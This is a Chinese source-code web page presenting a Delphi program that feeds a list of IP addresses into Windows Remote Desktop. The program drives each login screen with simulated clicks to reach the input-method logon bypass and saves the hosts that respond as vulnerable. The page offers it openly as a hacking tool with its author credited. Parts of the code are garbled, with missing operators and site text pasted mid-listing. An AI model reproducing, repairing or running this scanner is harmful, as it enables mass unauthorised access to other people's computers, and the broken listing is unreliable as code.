当前位置:首页 > 网络编程 > 软件语言 > DELPHI > 利用极品五笔刷QB程序原代码

利用极品五笔刷QB程序原代码

点击次数:57 次 发布日期:2008-11-09 08:36:54 作者:源代码网
源代码网推荐
广告载入中
//----------------------------------------------------------
// 输入发漏洞程序1.0
file://----------------------------------------------------------

unit pApp;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls, Menus, ComCtrls;
file://定义键盘动作类
type
TKAction = (CTAB, TAB_F4, ENTER, ALT_U);
type
TfrmMain = class(TForm)
OpenDlg: TOpenDialog;
Panel1: TPanel;
btnOpen: TButton;
ProgressBar1: TProgressBar;
btnStop: TButton;
btnPause: TButton;
btnSetting: TButton;
btnAbout: TButton;
GroupBox1: TGroupBox;
btnStart: TButton;
timLoop: TTimer;
GroupBox3: TGroupBox;
TrackBar1: TTrackBar;
Label3: TLabel;
edtAppPath: TEdit;
btnAppPath: TButton;
edtSavePath: TEdit;
btnSavePath: TButton;
Label4: TLabel;
Label5: TLabel;
chkAutoEnd: TCheckBox;
GroupBox2: TGroupBox;
Image1: TImage;
Label1: TLabel;
Label2: TLabel;
btnHelp: TButton;
chkAutoIPText: TCheckBox;
timWait: TTimer;
SaveDlg: TSaveDialog;
OpenAppDlg: TOpenDialog;
memIP: TMemo;
lblWeb: TLabel;
timKeyAction: TTimer;
procedure FormCreate(Sender: TObject);
procedure btnSettingClick(Sender: TObject);
procedure btnAboutClick(Sender: TObject);
procedure btnOpenClick(Sender: TObject);
procedure btnStartClick(Sender: TObject);
procedure timLoopTimer(Sender: TObject);
procedure TrackBar1Change(Sender: TObject);
procedure btnStopClick(Sender: TObject);
procedure timWaitTimer(Sender: TObject);
procedure timKeyActionTimer(Sender: TObject);
private
function GetSysDir: String;

function Get_Remote_Hwnd: HWND;
function Get_IPBox_Hwnd: THandle;
function Get_ConnectHwnd: HWND;
procedure Set_IPText(IPbox: THandle; IP: String);
function GetCloseHwnd: HWND;
function Get_IntermitFrmHwnd(Name: String): HWND;
procedure ReadIPFiles(Line: Integer);
procedure ReadTomemIP(IPPath: String);
function Get_EnterBox: HWND;
procedure SendKeyboard(KA: TKAction);
procedure Sendmose(a, x, y: Integer);
function GetColor(x, y: Integer): Integer;
procedure WriteIP(s, FileName: String);
procedure CreateIPFile(FileName: String);
{ Private declarations }
public
{ Public declarations }
end;

var
frmMain: TfrmMain;
Waittime, I: Integer; file://声明等待时间&累加变量
Howline: Integer; file://声明总行数
K: Integer; file://声明行数累加变量
IPFilePath: String; file://导入IP文件路径
Str: String;
hEnterBox: HWND; file://定义登陆筐句柄
KeyTime: Integer; file://定义模拟键盘累加值
WIP: String; file://定义纪录写入的IP是否相同
implementation

{$R *.dfm}

procedure TfrmMain.FormCreate(Sender: TObject);
begin
file://初始化属性

frmMain.Font.Name := "宋体";
frmMain.Font.Size := 9;
frmMain.Caption := "输入法漏洞过滤程序[中国起点网络安全小组]";
btnOpen.Caption := "导入IP";
btnStart.Caption := "开始";
btnPause.Caption := "暂停";
btnStop.Caption := "停止";
btnSetting.Caption := "设置";
btnAbout.Caption := "关于";
frmMain.ClientWidth := 409;
frmMain.ClientHeight := 95;
GroupBox1.Visible := False;
GroupBox2.Visible := False;
Label1.Caption := "输入法漏洞过滤1.0" #13
"版权:Hack太子 所有" #13
"QQ:78730710" #13
"QQ:2711997";
btnStart.Enabled := False;
btnStop.Enabled := False;
btnPause.Enabled := False;
Label3.Caption := IntToStr(TrackBar1.Position) "秒";
Waittime := TrackBar1.Position; file://初始化等待时间值
end;

procedure TfrmMain.btnSettingClick(Sender: TObject);
begin
if btnSetting.Caption = "设置" then
begin
btnSetting.Caption := "隐藏";
frmMain.ClientHeight := 223;
GroupBox2.Visible := False;
GroupBox1.Visible := True
end else
begin
btnSetting.Caption := "设置";
GroupBox1.Visible := False;
frmMain.ClientHeight := 95;
end;
end;

procedure TfrmMain.btnAboutClick(Sender: TObject);
begin
ShowMessage(IntToStr(Get_Enterbox));
ShowMessage(str);
if btnAbout.Caption = "关于" then
begin
btnAbout.Caption := "隐藏";
FrmMain.ClientHeight := 223;
GroupBox1.Visible := False;
GroupBox2.Visible := True;
end else
begin
btnAbout.Caption := "关于";
GroupBox2.Visible := False;
FrmMain.ClientHeight := 95;
end;
end;

file://单击打开按钮执行以下部分
procedure TfrmMain.btnOpenClick(Sender: TObject);
begin
if OpenDlg.Execute then
begin
IPFilePath := OpenDlg.FileName;
end;
if IPFilePath = "" then
Exit
else
begin
btnStart.Enabled := True;
end;







end;
file://获取系统所在目录
function TfrmMain.GetSysDir: String;
var
SysDir: PChar;
begin
GetMem(SysDir, MAX_PATH);
GetSystemDirectory(SysDir, MAX_PATH);
Result := StrPas(SysDir);
FreeMem(SysDir, MAX_PATH);
end;
file://获取远程桌面程序窗口句柄
function TfrmMain.Get_Remote_Hwnd: HWND;
var
RHwnd: HWND;
begin
RHwnd := FindWindow("#32770", "远程桌面连接");
if RHwnd <> 0 then
Result := RHwnd
else
Result := 0;
end;
file://获取IP输入筐句柄
function TfrmMain.Get_IPBox_Hwnd: THandle;
var
IPBoxHwnd: THandle;
begin
IPBoxHwnd := FindWindowEx(
Get_Remote_Hwnd,
0,
"ComboBoxEx32",
nil
);
if IPBoxHwnd <> 0 then
Result := IPBoxHwnd
else
Result := IPBoxHwnd;
end;
file://向IP地址输入筐中发送IP地址字符串
procedure TfrmMain.Set_IPText(IPbox: THandle; IP: String);
var
IPText: PChar;
IPBuf: Integer;
begin
GetMem(IPText, Length(IP));
StrCopy(IPText, PChar(IP));
try
IPBuf := LongInt(IPText);
SendMessage(
IPbox,
WM_SETTEXT,
0,
IPBuf
);
finally
FreeMem(IPText, Length(IP));
end;
end;
file://获取连接按钮句柄
function TfrmMain.Get_ConnectHwnd: HWND;
var
BtnHwnd: HWND;
begin
BtnHwnd := FindWindowEx(
Get_Remote_Hwnd,
0,
"Button",
"连接(&N)"
);
if BtnHwnd <> 0 then
Result := BtnHwnd
else
Result := 0;
end;
file://获取取消按钮句柄
function TfrmMain.GetCloseHwnd: HWND;
var
BtnClose: HWND;
begin
BtnClose := FindWindowEx(
Get_Remote_Hwnd,
0,
"Button",
"取消",
);
if BtnClose <> 0 then
Result := BtnClose


else
Result := 0;
end;
file://获取中断网络连接窗口句柄&该窗口确认按钮句柄
function TfrmMain.Get_IntermitFrmHwnd(Name: String): HWND;
var
FrmHwnd: HWND;
BtnHwnd: HWND;
begin
if (Name = "F") or (Name = "f") then
begin
FrmHwnd := FindWindow("#32770", "中断远程桌面连接");
if FrmHwnd <> 0 then
Result := FrmHwnd
else
Result := 0;
end;
if (Name = "B") or (Name = "b") then
begin
BtnHwnd := FindWindowEx(
FindWindow("#32770", "中断远程桌面连接"),
0,
"Button",
"确定",
);
if BtnHwnd <> 0 then
Result := BtnHwnd
else
Result := BtnHwnd;
end;
end;
file://把IP文件读入Memo控件
procedure TfrmMain.ReadTomemIP(IPPath: String);
var
TF: TextFile;
IPStr: String;
begin
memIP.Clear;
if FileExists(IPPath) then

软件开发网 www.mscto.com


begin
AssignFile(TF, IPPath);
Reset(TF);
while not Eof(TF) do
begin
Readln(TF, IPStr);
memIP.Lines.Add(IPStr);
end;
CloseFile(TF);
end else
begin
ShowMessage("请导入IP文件");
end;

end;





file://读入Memo中IP并连接
procedure TfrmMain.ReadIPFiles(Line: Integer);
begin
Howline := memIP.Lines.Count;
if Line <= (Howline - 1) then
begin
Str := memIP.Lines.Strings[Line];
Set_IPText(Get_IPBox_Hwnd, Str);
SendMessage(
Get_ConnectHwnd,
WM_LBUTTONDOWN,
MK_LBUTTON,
0
);
SendMessage(
Get_ConnectHwnd,
WM_LBUTTONUP,
0,
0
);
end else
begin
timWait.Enabled := False;
timLoop.Enabled := False;
MessageBox(
frmMain.Handle,
"IP已经全部过滤",


"输入法漏洞过滤程序",
MB_OK MB_ICONINFORMATION
);
end;
end;

file://取得登陆窗口句柄
function TfrmMain.Get_EnterBox: HWND;
var
Ebox: HWND;
sIP: String;
begin
sIP := Str " - 远程桌面";
Ebox := FindWindow("TSSHELLWND", PChar(sIP));
if Ebox <> 0 then
Result := Ebox
else
Result := 0;
end;
file://写入过滤后的IP
procedure TfrmMain.WriteIP(s, FileName: String);
var
TF: TextFile;
IP: String;
begin
WIP := s;
if FileExists(FileName) then
begin
if s <> WIP then
begin
AssignFile(TF, FileName );
Append(TF);
Writeln(TF, s);
CloseFile(TF);
end;
end;
end;file://创建保存过滤后IP的文件
procedure TfrmMain.CreateIPFile(FileName: String);
var
fHwnd: Integer;
TF: TextFile;
begin
if not FileExists(FileName) then
begin
fHwnd := FileCreate(FileName);

FileClose(fHwnd);
AssignFile(TF, FileName);
Append(TF);
Writeln(TF, "过滤过的IP:");
CloseFile(TF);
end;
end;



file://单击开始按钮以下部分
procedure TfrmMain.btnStartClick(Sender: TObject);
begin
WinExec(PChar(GetSysDir "mstsc.exe"), SW_SHOWNORMAL);
ReadTomemIP(IPFilePath);
timLoop.Enabled := True;
timWait.Enabled := True;
btnStart.Enabled := False;
btnStop.Enabled := True;
btnPause.Enabled := True;
CloseWindow(frmMain.Handle);
end;
file://取得指定坐标颜色
function TfrmMain.GetColor(x, y: Integer): Integer;
var
WindowDC: THandle;
Color: Integer;
begin
WindowDC := GetDC(0);
Color := GetPixel(WindowDC, x, y);
Result := Color;
end;

procedure TfrmMain.SendKeyboard(KA: TKAction);
begin
if KA = CTAB then
begin
Keybd_event(VK_TAB, 0, 0, 0);
Keybd_event(VK_TAB, 0, KEYEVENTF_KEYUP, 0);
end;
end;


procedure TfrmMain.Sendmose(a, x, y: Integer);
begin
if a = 1 then
begin
SetCursorPos(x, y);
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
end;
if a = 2 then
begin
SetCursorPos(x, y);
mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
end;
end;





procedure TfrmMain.timLoopTimer(Sender: TObject);
begin
if Get_IntermitFrmHwnd("F") <> 0 then
begin
SendMessage(
Get_IntermitFrmHwnd("B"),
WM_LBUTTONDOWN,
MK_LBUTTON,
0
);
SendMessage(
Get_IntermitFrmHwnd("B"),
WM_LBUTTONUP,
0,
0
);
I := 0;
end;
if Get_EnterBox <> 0 then
begin
hEnterBox := Get_EnterBox;
timWait.Enabled := false;
if (TimKeyAction.Enabled <> True) then timKeyAction.Enabled := True;

end;
if (Get_EnterBox <> 0) and (Get_EnterBox <> hEnterBox) then
begin
timWait.Enabled := false;
end;
if GetColor(186, 570) = 16777215 then
begin
Sendmose(1, 1009, 10);
Sendmose(1, 735, 13);
CreateIPFile("c:MyIP.txt");
WriteIP(Str, "c:MyIP.txt");
Sleep(10);
end;




end;

procedure TfrmMain.TrackBar1Change(Sender: TObject);
begin
Label3.Caption := IntToStr(TrackBar1.Position) "秒";
Waittime := TrackBar1.Position;
end;

procedure TfrmMain.btnStopClick(Sender: TObject);
begin
timLoop.Enabled := False;
timWait.Enabled := False;
Str := "";
I := 0;
K := 0;
IPFilePath := "";
Howline := 0;
btnStop.Enabled := False;
btnPause.Enabled := False;
btnStart.Enabled := False;
btnOpen.Enabled := True;
end;



procedure TfrmMain.timWaitTimer(Sender: TObject);
begin
Inc(I);
if I = Waittime then
begin
SendMessage(
GetCloseHwnd,
WM_LBUTTONDOWN,
MK_LBUTTON,
0
);
SendMessage(
GetCloseHwnd,
WM_LBUTTONUP,
0,
0
);
I := 0;
end;
if I = 1 then
begin
Inc(K);
ReadIPFiles((K - 1));
end;
end;

procedure TfrmMain.timKeyActionTimer(Sender: TObject);
begin
Inc(KeyTime);
case KeyTime of
1: Sendmose(1, 495, 328);
2: Sendmose(2, 57, 753);
3: Sendmose(1, 54, 650);
4: Sendmose(1, 150, 652);
5: KeyTime := 0;
end;
end;
end.


源代码网推荐

源代码网供稿.
网友评论 (0)
会员中心
网络编程
本站推荐
网络编程之精华